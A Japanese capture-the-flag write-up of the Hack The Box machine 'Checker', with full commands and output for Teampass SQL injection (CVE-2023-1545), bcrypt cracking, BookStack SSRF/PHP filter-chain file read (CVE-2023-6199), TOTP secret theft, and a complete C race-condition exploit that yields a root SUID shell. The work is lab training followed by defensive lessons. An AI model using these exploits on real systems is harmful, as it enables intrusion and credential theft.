Hack The BoxのWriteup(Checker)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Checker — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80(BookStack), 8080(Teampass)
→
CVE-2023-1545
Teampass 未認証SQLi
→
bob ハッシュ crack
hashcat -m 3200 → cheerleader
→
Teampass 内の2資格情報
reader(SSH+TOTP) / bob(BookStack)
→
CVE-2023-6199
SSRF→PHP filterチェーンoracle LFI
→
TOTP secret 漏洩
user.txt ✓
→
check_leak リバース
共有メモリ競合発見
→
コマンドインジェクション
SUID bash
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.231.241
nmap -sV -sC -p 22,80,8080 10.129.231.241
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp   open  http    Apache httpd
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
Service Info: OS: Linux
ℹ️
両方のHTTPポートともバージョン情報が隠蔽され、トップは403を返す (バーチャルホスト名でのアクセスが必要であることを示唆)。

バーチャルホストの発見とサービス特定

BASH
curl -s -L http://10.129.231.241/
# → Location: http://checker.htb/login にリダイレクト
echo "10.129.231.241 checker.htb" | sudo tee -a /etc/hosts
RESULT
80番ポート   → BookStack (シンプルなWikiソフト)
  HTMLソースに /dist/app.js?version=v23.10.2 への参照あり

8080番ポート → Teampass (パスワード共有管理ツール)
  changelog.txt とコミット履歴から バージョン 3.0.0.20〜3.0.9 の範囲と判明
🚨
2つの既知脆弱性にヒット: BookStack v23.10.2 → CVE-2023-6199(SSRF→ローカルファイルread、要特定権限)、 Teampass 3.0.0.20〜3.0.9 → CVE-2023-1545(未認証SQLインジェクション)。 どちらのログイン画面もデフォルト資格情報(admin@admin.com / admin:admin)は通らない。
PHASE 2

CVE-2023-1545 — Teampass 未認証SQLインジェクション

脆弱性の概要

NOTE
Teampass の /api/index.php/authorize は、ログイン失敗時にもJWTトークンを
発行する実装になっており、その "login" パラメータに UNION SELECT を
注入すると、サブクエリの実行結果がJWTペイロードの "public_key" クレーム
としてそのまま返ってくる(認証不要)。

注入文字列の型:
  none' UNION SELECT id, '<任意のbcryptハッシュ>', (<任意のSELECTサブクエリ>),
  private_key, personal_folder, fonction_id, groupes_visibles,
  groupes_interdits, 'foo' FROM teampass_users WHERE login='admin

PoCスクリプトでハッシュをダンプ

BASH
# searchsploit に公開PoCあり (EDB-ID 52094, CVE-2023-1545)
searchsploit -m 52094
python3 52094.py http://checker.htb:8080
RESULT
INFO - Encontrados 2 usuários no sistema
INFO - Credenciais obtidas para: admin
INFO - Credenciais obtidas para: bob

Credenciais encontradas:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
✅
認証なしで全ユーザーのbcryptハッシュをダンプできた。 内部的には COUNT(*) でユーザー数を取得後、各ユーザーの login/pw を LIMIT句でページングしながら1行ずつ UNION SELECT で抜き出している。

hashcatでbobのハッシュをクラック

BASH
echo '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' > bob.hash
hashcat -a 0 -m 3200 bob.hash /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 3200 bob.hash /usr/share/wordlists/rockyou.txt --show
RESULT
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Teampass — bob
bob : cheerleader
PHASE 3

Teampass にログインし資格情報チェーンを辿る

bob:cheerleader でログイン

NOTE
http://checker.htb:8080/index.php を開き、
Account: bob / Password: cheerleader でログイン。
Teampassのログインはクライアント側JS(CryptoJS)で暗号化されたAJAX
リクエストを送るため、ブラウザ(Selenium等)から操作するのが最も確実。

“bob-access” フォルダ内の2アイテム

RESULT (ssh access アイテム)
Password: hiccup-publicly-genesis
Account:  reader
RESULT (boosktack login アイテム)
Password: mYSeCr3T_w1kI_P4sSw0rD
Account:  bob@checker.htb
URL:      http://checker.htb
🚨
2つの資格情報を入手: reader:hiccup-publicly-genesis(SSH用だが、接続すると “Verification code” が追加で要求され二要素認証(TOTP)が有効)、 および bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD(BookStackログイン用)。 reader の TOTP シークレットさえ入手できればSSHが突破できる。
PHASE 4

CVE-2023-6199 — BookStack SSRF→PHP filter chain oracle でTOTP秘密鍵を漏洩

BookStackへログインしBook/Pageを作成

BASH
http://checker.htb/login に bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD でログイン
→ write権限を確認 → 新規Book(任意名)を作成 → 新規Pageを作成し
  エディタを開いたまま少し待つと自動的に下書き保存される
NOTE
自動下書き保存は PUT /ajax/page/<id>/save-draft への
{"html": "...", "name": "..."} というJSONリクエスト。
BurpSuiteでこのリクエストを観察すると、htmlパラメータの値を
<img src='data:image/png;base64,<BASE64>'> に差し替え、BASE64部分を
自ホストのURL(http://KALI_IP)にしてみると、自分のWebサーバーへの着信が
確認できる → サーバー側がこの値を使って外部リソースを取得している
(SSRF)ことが分かる。

PHP filter chains による任意ファイルread

NOTE
公開記事(Synacktiv "PHP filter chains: file read from error-based
oracle")で示されている通り、SSRFの対象URLに php://filter/ ラッパーの
変換フィルタ連鎖を指定すると、サーバー内部のPHPファイル読み取り関数に
対する"エラーベースのオラクル"として悪用できる。
対象ファイルの中身を1バイトずつ、様々な変換フィルタの組合せが
「成功(200)」か「メモリ不足エラー(500)」かという2値の応答だけから
復元していく(ツール: github.com/synacktiv/php_filter_chains_oracle_exploit)。

重要: filter_chain文字列自体もさらにbase64エンコードしてから
<img src="data:image/png;base64,<ここ>"> に埋め込む必要がある。
BASH
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git
cd php_filter_chains_oracle_exploit

# ブラウザから送られる Cookie/X-CSRF-TOKEN をそのまま使う必要があるため、
# 生のrequestsセッションではなく実ブラウザ(Selenium)のfetch()から
# PUTリクエストを発火させる方式が確実(生requestsだと原因不明の500に
# なることを確認済み)。filters_chain_oracle/core/requestor.py の
# リクエスト構築部分をこの形に合わせて書き換える:
#   merged_data = {'html': f'<img src="data:image/png;base64,{filter_chain}">'}

python3 filters_chain_oracle_exploit.py --parameter html \
  --headers "$HEADER" --verb PUT \
  --target http://checker.htb/ajax/page/8/save-draft \
  --file '/etc/os-release'
RESULT
[+] File /etc/os-release leak is finished!
b'PRETTY_NAME="Ubuntu 22.04.5 LTS"\n'
✅
任意ローカルファイルread成功! 動作確認として /etc/os-release を読み、ターゲットがUbuntu 22.04.5 LTS(nmapのSSHバナーと一致)であることを確認。

バックアップ経由でreaderのTOTP秘密鍵を読む

NOTE
reader のホーム直下の .google_authenticator は一般ユーザーからは
読めない(パーミッション的に)が、BookStackの投稿記事に
「安全なバックアップスクリプトの例(cp -r --remove-destination -p で
パーミッションを保持したまま /backup 配下へコピー)」というヒントが
あったことを思い出し、/backup/home_backup/home/reader/.google_authenticator
を同じオラクル経由で読んでみる。
BASH
python3 filters_chain_oracle_exploit.py --parameter html \
  --headers "$HEADER" --verb PUT \
  --target http://checker.htb/ajax/page/8/save-draft \
  --file '/backup/home_backup/home/reader/.google_authenticator'
RESULT
[+] File leak is finished!
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n...'
✅
TOTP秘密鍵を獲得: DVDBRAODLCWF7I2ONA4K5LQLUE (google-authenticatorファイルの1行目がbase32秘密鍵)。
PHASE 5

SSH + TOTP ログイン → user.txt

TOTPコードの生成とSSHログイン

PYTHON
import pyotp
print(pyotp.TOTP('DVDBRAODLCWF7I2ONA4K5LQLUE').now())
# → 6桁のコード (30秒ごとに更新されるため、生成後すぐSSHで使う)
BASH
ssh reader@10.129.231.241
# (reader@...) Password: hiccup-publicly-genesis
# (reader@...) Verification code: <pyotpで生成した6桁コード>
RESULT
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
reader@checker:~$ id
uid=1000(reader) gid=1000(reader) groups=1000(reader)

user.txt 取得

BASH
reader@checker:~$ cat ~/user.txt
RESULT
7cad06864f64fe70098ea80f1c4f0006
user.txt — reader
7cad06864f64fe70098ea80f1c4f0006
PHASE 6

check_leak の共有メモリ競合 → コマンドインジェクション → root.txt

sudo権限の確認

BASH
reader@checker:~$ sudo -l
RESULT
User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
BASH
reader@checker:~$ cat /opt/hash-checker/check-leak.sh
RESULT
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
BASH
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
RESULT
Password is leaked!
Using the shared memory 0x30DEA as temp location
User will be notified via bob@checker.htb
ℹ️
ユーザー名は英数字のみに制限されているため、直接的なコマンド インジェクションは不可能。ただしcheck_leakバイナリ自体の 内部ロジックに踏み込む価値がありそうな”共有メモリ”という単語が 気になる。

バイナリのリバースエンジニアリング (Ghidra/gdb)

BASH
scp reader@10.129.231.241:/opt/hash-checker/check_leak .
# Ghidraでデコンパイル、またはシンボルが残っているのでgdbでも解析可能
gdb -batch -ex "disassemble notify_user" check_leak
gdb -batch -ex "disassemble trim_bcrypt_hash" check_leak
NOTE (処理の流れ)
1. check_leak <username> は DB から該当ユーザーのbcryptハッシュを取得
2. leaked_hashes.txt に含まれるか照合 → 含まれていれば"Password is leaked!"
3. write_to_shm(): current_time=time(NULL); srand(current_time);
   random_number=rand(); key=random_number % 0xfffff;
   shmget(key, 0x400, 0x3b6)でSysV共有メモリを確保・アタッチし、
   "Leaked hash detected at <日時> > <hash>\n" という文字列を書き込む
4. 1秒 sleep
5. notify_user(): 同じ key で shmget → shmat → 内容を文字列として読み取り、
   strstr(mem, "Leaked hash detected") の直後にある最初の '>' を strchr で
   特定し、その1文字後ろから trim_bcrypt_hash()(先頭の空白/'>'連続・末尾
   空白を除去) した文字列を "hash" として取り出す
6. 取り出した hash を一切サニタイズせず
   mysql -u %s -D %s -s -N -e 'select email from teampass_users where
   pw = "<hash>"'
   という文字列に埋め込み、system()/popen() 相当でシェル実行する
🚨
2つの脆弱性が組み合わさっている: (1) 共有メモリの鍵が time(NULL) 由来で予測可能 (1秒単位の粒度しかない)、(2) 共有メモリから読み戻した値を シェルコマンドへ無検証で埋め込んでいる(コマンドインジェクション)。 1秒間の「書き込み→sleep(1)→読み出し」のタイムウィンドウ中に、 攻撃者が同じ鍵を予測して共有メモリの中身を差し替えれば、 root権限で任意コマンドを実行できる。

鍵導出式の実機検証

NOTE
ipcs -m で実際に作成された共有メモリの key フィールドと、
"sudo check-leak.sh bob" 実行直後の date +%s の値を突き合わせ、
候補となる数秒分の seed で srand(seed);rand() を計算して比較したところ、
"rand() % 0xfffff" (0xffff ではなく5桁の0xfffff) が実際の鍵と完全一致
することを確認した。
BASH
# 検証用の最小コード (ターゲット上でgccがそのまま使える)
cat > kt.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
    unsigned int seed = (unsigned int)atol(argv[1]);
    srand(seed);
    int r = rand();
    printf("mod_0xfffff=%d (0x%X)\n", r % 0xfffff, r % 0xfffff);
    return 0;
}
EOF
gcc -o kt kt.c
./kt $(date +%s)   # sudo check-leak.sh bob 実行直後の秒数を渡す

共有メモリ競合エクスプロイトの作成

NOTE (exploit.c)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/shm.h>
#include <string.h>

int main(int argc, char **argv) {
    char payload[1024];
    // "Leaked hash detected" というマーカー文字列 + '>' の直後に
    // 注入ペイロードを置く。'>' の後ろに '\'' を置くと、mysql -e の
    // 外側シングルクォートを脱出でき、'#' で残りをコメントアウトできる。
    snprintf(payload, sizeof(payload), "Leaked hash detected>'; %s #", argv[1]);

    // bob (既にリークが判明している既知ユーザー) を対象に自分で
    // check-leak.sh を起動する
    system("sudo /opt/hash-checker/check-leak.sh bob >/dev/null 2>&1 &");

    // write_to_shm()の実書込み直後〜notify_user()の読取(1秒後)までの
    // タイムウィンドウに入るよう、同じ鍵導出式で数百ミリ秒おきに
    // 共有メモリへ自分のペイロードを書き続ける
    for (int i = 0; i < 500; i++) {
        time_t now = time(0);
        srand((unsigned int)now);
        int key = rand() % 0xfffff;
        int shmid = shmget(key, 0x400, 0x3b6);
        if (shmid != -1) {
            char *addr = (char *)shmat(shmid, 0, 0);
            if (addr != (char *)-1) {
                memset(addr, 0, 0x400);
                strncpy(addr, payload, 0x3ff);
                shmdt(addr);
            }
        }
        usleep(20000);
    }
    return 0;
}
⚠️
ハマりポイント: SysVのshmget(key, size, flags)は flagsにIPC_CREATビット(0x200)が含まれていれば 「無ければ作成・あれば既存にアタッチ」という挙動になる (0x3b6は実は0666|IPC_CREAT)。このため自分の 書き込みと本物のwrite_to_shm()のどちらが先でも、 同じ鍵を使い続ける限り最終的に同じセグメントを取り合う形になり、 「本物の書き込み直後・読み出し直前」というタイミングに数百ms間隔で 連続上書きし続けることで高確率で滑り込める。

コンパイル・実行してroot権限を奪取

BASH
reader@checker:~$ nano exploit.c   # 上記ソースを貼り付け
reader@checker:~$ gcc -o exploit exploit.c

# まず動作確認 (root所有ファイルが作られるか)
reader@checker:~$ ./exploit 'touch /tmp/pwned; chmod 777 /tmp/pwned'
reader@checker:~$ ls -la /tmp/pwned
RESULT
-rwxrwxrwx 1 root root 0 Oct 18 23:50 /tmp/pwned
✅
root権限でのコマンド実行に成功! 続けてSUID付きの bashをコピーし、対話的なrootシェルを得る。
BASH
reader@checker:~$ ./exploit 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash'
reader@checker:~$ ls -la /tmp/rootbash
reader@checker:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
RESULT
-rwsr-xr-x 1 root root 1396520 ... /tmp/rootbash
uid=1000(reader) gid=1000(reader) euid=0(root) groups=1000(reader)
13a7d3ffe039e0b16b8ea25f562ca0a8
root.txt
13a7d3ffe039e0b16b8ea25f562ca0a8
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — reader
7cad06864f64fe70098ea80f1c4f0006
root.txt
13a7d3ffe039e0b16b8ea25f562ca0a8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2023-1545 Teampass 3.0.0.20〜3.0.9 (api/index.php/authorize) 未認証SQLインジェクション、全ユーザーハッシュ窃取 Critical UNION SELECTをJWTのpublic_keyクレーム経由で読み出すオラクル
弱いパスワード bob の bcrypt ハッシュ Teampassへの認証突破 High hashcat -m 3200 + rockyou.txt で数秒でクラック(cheerleader)
CVE-2023-6199 BookStack v23.10.2 (ajax/page/<id>/save-draft) SSRF経由の任意ローカルファイルread Critical PHP filter chainsのエラーベースオラクルで1バイトずつファイル内容を復元
権限保持バックアップの設計ミス /backup/home_backup (home全体の権限保持バックアップ) 本来読めないはずのドットファイル(TOTP秘密鍵)の漏洩経路化 Medium バックアップパス経由でLFIの読み取り対象にする
予測可能な共有メモリ鍵 + コマンドインジェクション /opt/hash-checker/check_leak (SUID不要、sudo ALL NOPASSWD) 権限昇格 (root) Critical time(NULL)シードの共有メモリ鍵を予測し、write→1秒後read の間に悪性文字列へ差し替えて未サニタイズのmysqlコマンド組立に注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost発見22/ssh, 80(BookStack v23.10.2), 8080(Teampass 3.0.x)
2資格情報漏洩CVE-2023-1545 SQLi + hashcatTeampass bob:cheerleader
3横展開Teampass “bob-access” フォルダ閲覧reader:hiccup-publicly-genesis(SSH+TOTP)、bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD(BookStack)
4エクスプロイトCVE-2023-6199 SSRF→PHP filter chain oracle LFIreader の TOTP secret(DVDBRAODLCWF7I2ONA4K5LQLUE)
5初期侵入SSH + パスワード + TOTPuser.txt 取得
6権限昇格共有メモリ競合 + コマンドインジェクションroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Teampass / BookStack が既知CVEを含む古いバージョンのまま運用されている パスワード管理ツール・社内Wikiのような機密情報集約システムは特に優先度高くパッチ適用する。CVE公開後は速やかにアップデートする。
パスワード共有ツール(Teampass)内のアイテムに平文パスワードが保存されている Teampass自体は暗号化保管庫として設計されているが、アクセス制御(誰がどのフォルダを見られるか)を最小権限で運用し、定期的なローテーションを行う。
権限保持バックアップが、本来アクセス制限されたファイル(TOTP秘密鍵等)をコピーしてしまい、別の脆弱性(LFI)と組み合わさって漏洩経路になる バックアップ先ディレクトリ自体のアクセス権限も元ファイルと同等以上に厳格に保つ。機密性の高いファイル(認証シークレット等)はバックアップ対象から除外するか、別途暗号化する。
root権限で実行されるヘルパーバイナリが、予測可能な共有メモリ鍵を使い、読み戻した値を未サニタイズでシェルコマンドに埋め込んでいる IPC鍵には暗号学的に安全な乱数源(/dev/urandom等)を使う。外部プロセスから書き換え可能なデータを信頼してシェルコマンドを組み立てない(パラメータ化されたAPI呼び出しを使う、あるいは最低限シェルエスケープを行う)。
HackTheBox: Checker | 完全攻略レポート